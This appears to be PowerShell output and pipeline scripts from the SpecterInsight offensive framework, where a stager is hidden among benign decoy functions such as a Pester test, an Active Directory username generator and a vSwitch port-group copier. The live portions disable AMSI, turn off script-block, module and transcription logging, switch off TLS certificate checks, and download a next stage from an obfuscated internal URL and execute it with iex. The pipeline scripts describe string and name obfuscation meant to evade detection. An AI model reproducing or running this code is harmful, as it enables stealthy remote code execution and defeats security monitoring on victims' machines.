functionClose-Appointment2{    param(        [Parameter(Mandatory = $true, Position = 0)]        [string]$Value,        [Parameter(Mandatory = $true, Position = 1)]        [int]$Seed    )    $type = New-Object System.Random($Seed);    $t = New-Object int[] $Value.Length;for($groups = 0; $groups -lt $Value.Length; $groups++) {        $t[$groups] = $type.Next(0, $Value.Length);    }    $param = $Value.ToCharArray();for($groups = $param.Length - 1; $groups -ge 0; $groups--) {        $username = $param[$groups];        $param[$groups] = $param[$t[$groups]];        $param[$t[$groups]] = $username;    }returnNew-Object string(,$param);}functionSet-Value{    param(        [Parameter(Mandatory = $true)]        [Type]$Type,        [Parameter(Mandatory = $true)]        [string]$Name,        [Parameter(Mandatory = $true)]        [object]$Value    )    $method = Close-Appointment2 'iFteeldG'1212135420;    $setter = Close-Appointment2 'SleVeuta'2082114145;    $field = $Type.$method($Name,([string](Close-Appointment2 'ct,biilNcaPtonSu'1282663133)));    $field.$setter($null,$Value);}if($PSVersionTable.PSVersion.Major -gt 2) {    $Assembly = Close-Appointment2 'sAslyemb'37264246;    $method = Close-Appointment2 'ytTeGep'1203303406;    $type = [Ref].$Assembly.$method(([string](Close-Appointment2 'moaei.tettA.sitnuimSmyaote.mMlnAnsUgas'1064622315)));    $name = Close-Appointment2 'tFlIieadaniism'566866522;    Set-Value $type $name $true;}

Get-PwshTemplate

$loadEnvPath = Join-Path $PSScriptRoot 'loadEnv.ps1'if (-Not (Test-Path -Path $loadEnvPath)) {    $loadEnvPath = Join-Path $PSScriptRoot '..loadEnv.ps1'}. ($loadEnvPath)$TestRecordingFile = Join-Path $PSScriptRoot 'Set-JcSdkSystemAssociation.Recording.json'$currentPath = $PSScriptRootwhile(-not $mockingPath) {    $mockingPath = Get-ChildItem -Path $currentPath -Recurse -Include'HttpPipelineMocking.ps1' -File    $currentPath = Split-Path -Path $currentPath -Parent}. ($mockingPath | Select-Object -First 1).FullNameDescribe 'Set-JcSdkSystemAssociation' {# TODO: Update for PolicyGroups#It 'SetExpanded' {# $ParameterType = (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.FullName# (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.DeclaredFields.Where( { $_.IsPublic }).Name | ForEach-Object {# { Set-JcSdkSystemAssociation -Id:((Get-Variable -Name:("PesterTest$($_)")).Value.Id) -Op:('add') -Type:(Invoke-Expression "[$ParameterType]::$_".Replace('group','_group')) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# { Set-JcSdkSystemAssociation -Id:((Get-Variable -Name:("PesterTest$($_)")).Value.Id) -Op:('remove') -Type:(Invoke-Expression "[$ParameterType]::$_".Replace('group','_group')) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# }#}#It 'Set' {# $ParameterType = (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.FullName# (Get-Command Set-JcSdkSystemAssociation).Parameters.Type.ParameterType.DeclaredFields.Where( { $_.IsPublic }).Name | ForEach-Object {# { Set-JcSdkSystemAssociation -Body:(@{Id = (Get-Variable -Name:("PesterTest$($_)")).Value.Id; Op = 'add'; Type = Invoke-Expression "[$ParameterType]::$_".Replace('group','_group'); }) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# { Set-JcSdkSystemAssociation -Body:(@{Id = (Get-Variable -Name:("PesterTest$($_)")).Value.Id; Op = 'remove'; Type = Invoke-Expression "[$ParameterType]::$_".Replace('group','_group'); }) -SystemId:($global:PesterTestSystem.Id) } | Should -Not -Throw# }#}    It 'SetViaIdentity' -skip {        { Set-JcSdkSystemAssociation -Body:(@{Id = $global:PesterTestUser.Id; Op = 'add'; Type = 'user';}) -InputObject '<IJumpCloudApIsIdentity>' [-Authorization '<String>'] [-Date '<String>'] } | Should -Not -Throw    }    It 'SetViaIdentityExpanded' -skip {        { Set-JcSdkSystemAssociation -Id:($global:PesterTestUser.Id) -InputObject '<IJumpCloudApIsIdentity>' -Op:('add') -Type:('user') [-AttributeSudoEnabled] [-AttributeSudoWithoutPassword] [-Authorization '<String>'] [-Date '<String>'] } | Should -Not -Throw    }}

Get-PwshFunctionTemplate

function _VerifyResolutionMatrix{    [CmdletBinding()]    param(        [parameter(Mandatory=$true)][String[]] $resolution    )    begin{        Write-Debug "Starting _VerifyResolutionMatrix with $resolution"    }    process{$resolution | ForEach-Object{if(-not ($_ -match '^[1-9][0-9]*x[1-9][0-9]*$')){                Write-Debug "$_ is invalid"                Throw "Invalid resolution matrix"            }            Write-Debug "$_ is valid"        }    }}

$template1 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$template2 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$result = Obfuscate-PwshCombine $template1, $obfuscated, $template2;$result;

param(  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.AstTransforms.PwshStringObfuscationTechnique]$StringObfuscationTechnique = 'Format',  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$AmsiBypassTechnique = 'InitFailed')$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = @"`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }`$client = New-Object System.Net.WebClient;`$DownloadString = "DownloadString";`$script = `$client.`$DownloadString('$url');iex `$script"@ | Obfuscate-PwshConvertToFunction;$logging = Get-PwshLoggingBypass | Obfuscate-PwshConvertToFunction;$bypass = Get-PwshAmsiBypass -Technique $AmsiBypassTechnique | Obfuscate-PwshConvertToFunction;$combined = Obfuscate-PwshCombine @($logging, $bypass, $loader, $logging.FunctionName, $bypass.FunctionName, $loader.FunctionName);#Obfuscate the payload$obfuscated = $combined | Obfuscate-PwshRemoveComments;$obfuscated = $obfuscated | Obfuscate-PwshMemberExpressions -Filters @('DownloadString', 'ServerCertificateValidationCallback');$obfuscated = $obfuscated | Obfuscate-PwshTypeExpressions -Filters @('Assembly', 'ServicePointManager');$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filters @('iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');$obfuscated = $obfuscated | Obfuscate-PwshStrings -Technique $StringObfuscationTechnique -IncludeBareWord -Filters @('amsi','http://', 'https://', 'HKEY_LOCAL_MACHINE', 'EnableScriptBlockLogging', 'EnableModuleLogging', 'EnableTranscripting', 'System.Management.Automation', 'Assembly', 'WebClient', 'DownloadString', 'ServerCertificateValidationCallback', 'scriptblock', 'ServicePointManager', "using", "GetType", "GetField", "SetValue", 'CertificateValidator', 'iex', 'Invoke-Expression', 'Invoke-Command', 'icm', 'Add-Type');$obfuscated = $obfuscated | Obfuscate-PwshVariables;$template1 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$template2 = Get-PwshFunctionTemplate | Format-PwshWhitespace;$result = Obfuscate-PwshCombine $template1, $obfuscated, $template2;$result;

function Start-Promise {    <#PSScriptInfo.Version    1.0.Guid    0ae30495-bfc9-4f9e-8d05-6730895e755f.Author     Thomas J. Malkewitz @dotps1.Tags     AD, UserName, UserProvisioning.ProjectUri    https://github.com/dotps1/PSFunctions.ExternalModuleDependencies     ActiveDirectory.ReleaseNotes    Renamed to fit AD Module Naming. Added ProjectUri.#>    <#.Synopsis    Creates a new username with AD DS Validation..Description    Create a new username with the following order until a unique Username is found.    1. First Initial Last Name.    2. First Initial First Middle Initial Last Name.    3. Iterates First Name adding each Char until a unique Username is found..Inputs    None..Outputs    System.String.Parameter FirstName    The first name of the user to be created..Parameter LastName    The last name of the user to be created..Parameter OtherName    The middle name of the user to be created..Example    PS C:> New-Username -FirstName John -LastName Doe    jdoe.Example    PS C:> New-Username -FirstName Jane -LastName Doe -MiddleName Ala    jadoe.Notes     Requires ActiveDirectory PowerShell Module available with Remote Server Administration Tools.    RSAT 7SP1: http://www.microsoft.com/en-us/download/details.aspx?id=7887    RSAT 8: http://www.microsoft.com/en-us/download/details.aspx?id=28972    RSAT 8.1: http://www.microsoft.com/en-us/download/details.aspx?id=39296    RSAT 10: http://www.microsoft.com/en-us/download/details.aspx?id=45520.Link    http://dotps1.github.io.Link    https://grposh.github.io#>#requires -Modules ActiveDirectory    [CmdletBinding()]    [OutputType(        [String]    )]    param (        [Parameter(            Mandatory = $true        )]        [Alias('GivenName'        )]        [String]$FirstName,        [Parameter(            Mandatory = $true        )]        [Alias('Surname'        )]        [String]$LastName,        [Parameter()]        [AllowNull()]        [String]$OtherName    )    [RegEx]$pattern = "s|-|'"$primaryUserName = ($FirstName.Substring(0,1) + $LastName) -replace $pattern,""if ((Get-ADUser -Filter { SamAccountName -eq $primaryUserName } | Measure-Object).Count -eq 0) {return$primaryUsername.ToLower()    }if (-not ([String]::IsNullOrEmpty($OtherName))) {$secondaryUserName = ($FirstName.Substring(0,1) + $OtherName.Substring(0,1) + $LastName) -replace $pattern,""if ((Get-ADUser -Filter { SamAccountName -eq $secondaryUserName } | Measure-Object).Count -eq 0) {return$secondaryUserName.ToLower()        }    }    foreach ($charin$FirstName.ToCharArray()) {$prefix += $char$tertiaryUserName = ($prefix + $LastName) -replace $pattern,""if (-not ($tertiaryUserName -eq $primaryUserName)) {if ((Get-ADUser -Filter { SamAccountName -eq $tertiaryUserName } | Measure-Object).Count -eq 0) {return$tertiaryUserName.ToLower()            }        }    }}New-Alias 'Build-Uploader' ([string]::format("{2}{0}{1}","e","x","i"))$d = [Type]([string]::format("{8}{0}{11}{5}{1}{7}{2}{10}{6}{3}{4}{9}","yste","e","v","tMa","nag","et.S","Poin","r","S","er","ice","m.N"));function Suspend-Xss {    try {$project = [string]::format("{14}{28}{20}{0}{3}{18}{7}{16}{25}{22}{29}{9}{30}{10}{1}{5}{15}{12}{21}{8}{6}{23}{31}{26}{4}{24}{27}{17}{13}{2}{11}{19}","L_MA","oso","g","CHI","cr","ftW","owe","E","P","ci","icr","gin","nd","ckLo","HKE","i","So","lo","N","g","CA","ows","are","r","ip","ftw","lS","tB","Y_LO","Poli","esM","Shel")$r = [string]::format("{4}{12}{22}{28}{5}{30}{10}{23}{21}{24}{11}{7}{29}{18}{2}{1}{8}{15}{17}{6}{19}{26}{0}{9}{3}{13}{20}{16}{25}{14}{27}","Pow","so","icro","Sh","HK","L_","w","Pol","ft","er","HIN","e","EY","ell","ggin","Wind","Modu","o","esM","s","","Sof","_LO","E","twar","leLo","","g","CA","ici","MAC")$port = [string]::format("{23}{31}{25}{22}{28}{20}{10}{24}{27}{18}{8}{33}{30}{2}{32}{21}{0}{26}{1}{11}{34}{3}{17}{5}{15}{35}{16}{12}{13}{6}{4}{19}{29}{7}{14}{9}","cie","ic","No","tWi","Tr","ows","","ipti","ARE","n","NE","ros","e","ll","o","Pow","rSh","nd","FTW","ans","HI","oli","L_M","HKE","","LOCA","sM","SO","AC","cr","6432","Y_","deP","Wow","of","e")$target = [Ref].([string]::format("{2}{3}{1}{0}","y","embl","A","ss")).([string]::format("{2}{0}{1}","Typ","e","Get"))(([string]::format("{13}{3}{7}{12}{6}{8}{10}{9}{11}{0}{2}{1}{4}{5}","to","atio","m","e","n.U","tils","M","m","anag","ent.","em","Au",".","Syst"))).([string]::format("{2}{0}{1}","Fiel","d","Get"))("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);$target[$project] = @{}$target[$project].Add(([string]::format("{7}{8}{4}{9}{3}{2}{5}{1}{6}{0}","ging","o","ck","o","Scri","L","g","En","able","ptBl")), '0')$target[$r] = @{}$target[$r].Add(([string]::format("{3}{4}{7}{5}{0}{6}{2}{1}","Lo","ng","i","Enab","leM","ule","gg","od")), '0')$target[$port] = @{}$target[$port].Add(([string]::format("{3}{2}{5}{4}{6}{0}{1}","ti","ng","abl","En","nsc","eTra","rip")), '0')    } catch { }}function Add-Cbm {    function Revoke-Angle {        param(            [Parameter(Mandatory = $true)]            [Type]$Type,            [Parameter(Mandatory = $true)]            [string]$Name,            [Parameter(Mandatory = $true)]            [object]$Value        )$hash = [string]::format("{4}{2}{0}{1}{3}","e","l","Fi","d","Get");$rule = [string]::format("{2}{0}{1}","tVa","lue","Se");$vmname = $Type.$hash($Name,"NonPublic,Static");$vmname.$rule($null,$Value);    }    if($PSVersionTable.PSVersion.Major -gt 2) {$database = [string]::format("{2}{0}{3}{1}","e","ly","Ass","mb");$hash = [string]::format("{1}{2}{3}{0}","e","Get","Ty","p");$type = [Ref].$database.$hash(([string]::format("{2}{0}{3}{4}{12}{6}{1}{9}{7}{5}{11}{8}{10}","em.","Auto","Syst","Man","agem","n.A","t.","atio","ti","m","ls","msiU","en")));$name = [string]::format("{1}{3}{0}{4}{2}","nitF","am","iled","siI","a");        Revoke-Angle $type$name$true;    }}function Checkpoint-Dispatch5 {$pass = [string]::format("{5}{7}{12}{1}{0}{6}{11}{8}{4}{3}{13}{10}{9}{2}","f","erti","k","ion","at","Se","icat","rv","id","bac","all","eVal","erC","C");$d::$pass = { $true }$log = New-Object ([string]::format("{4}{7}{3}{6}{2}{1}{5}{0}","ent",".We","et","stem","S","bCli",".N","y"));$version = [string]::format("{1}{2}{3}{0}","ring","Do","wnlo","adSt");$endpoint = $log.$version(([string]::format("{5}{12}{23}{9}{32}{24}{21}{26}{34}{20}{18}{27}{14}{17}{38}{37}{10}{7}{30}{1}{33}{13}{2}{6}{16}{0}{15}{31}{22}{3}{28}{19}{29}{11}{39}{36}{25}{4}{8}{35}","af08","f5","0e7","69d7","_st","http","084","buil","ag",".168","s/?","sp","s://","9d","c/re","0f3","3f0","so","t","nd","sta","1","a","192",".","ter","01","i","&ki","=","d=1","cf87",".1","a6","/","e_3","c","ce","ur","e")));    Build-Uploader $endpoint}Suspend-XssAdd-CbmCheckpoint-Dispatch5function Resize-Evidence {    # *******************************************************************    # * Title: Copy vDS PGs to vSS    # * Purpose: This script copies vDS PGs to vSS    # * Args: vCenter & Cluster Name    # * Usage: Create-VSS.ps1 -h [Target ESXi Host] -s [dVS Name] -d [vSS Name]    # * Author: Ryan Patel    # * Creation Date: 03/09/2018    # * Last Modified: 03/09/2018    # * Version: 1.0    # *******************************************************************    param    (        [alias("h")]        [string]$thisHost = $(Read-Host -Prompt "Enter the Target ESXi Host"),        [alias("s")]        [string]$source = $(Read-Host -Prompt "Enter the Source vDS Name"),        [alias("d")]        [string]$destination = $(Read-Host -Prompt "Enter the Destination vSS Name")    )    #Create an empty array to store the port group translations$pgTranslations = @()    #Get the destination vSwitch    if (!($destSwitch = Get-VirtualSwitch -host $thisHost -name $destination)){write-error "$destination vSwitch not found on $thisHost";exit 10}    #Get a list of all port groups on the source distributed vSwitch    if (!($allPGs = Get-vdswitch -name $source | Get-vdportgroup)){write-error "No port groups found for$source Distributed vSwitch";exit 11}    foreach ($thisPG in $allPGs)    {$thisObj = new-object -Type PSObject$thisObj | add-member -MemberType NoteProperty -Name "dVSPG" -Value $thisPG.Name$thisObj | add-member -MemberType NoteProperty -Name "VSSPG" -Value "$($thisPG.Name)-VSS"        new-virtualportgroup -virtualswitch $destSwitch -name "$($thisPG.Name)-VSS"        # Ensure that we don't try to tag an untagged VLAN        if ($thisPG.vlanconfiguration.vlanid)        {            Get-virtualportgroup -virtualswitch $destSwitch -name "$($thisPG.Name)-VSS" | Set-VirtualPortGroup -vlanid $thisPG.vlanconfiguration.vlanid        }$pgTranslations += $thisObj    } $pgTranslations}

param(  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.AstTransforms.PwshStringObfuscationTechnique]$StringObfuscationTechnique = 'Format',  [Parameter(Mandatory = $false)]  [SpecterInsight.Obfuscation.PowerShell.SourceTransforms.AmsiBypass.PwshAmsiBypassTechnique]$AmsiBypassTechnique = 'InitFailed')$script = Get-Payload -Pipeline 'specter_stage_2' -AsString -PipelineArgs @{  StringObfuscationTechnique = $StringObfuscationTechnique;  AmsiBypassTechnique = $AmsiBypassTechnique;};$script | Out-PwshCommand;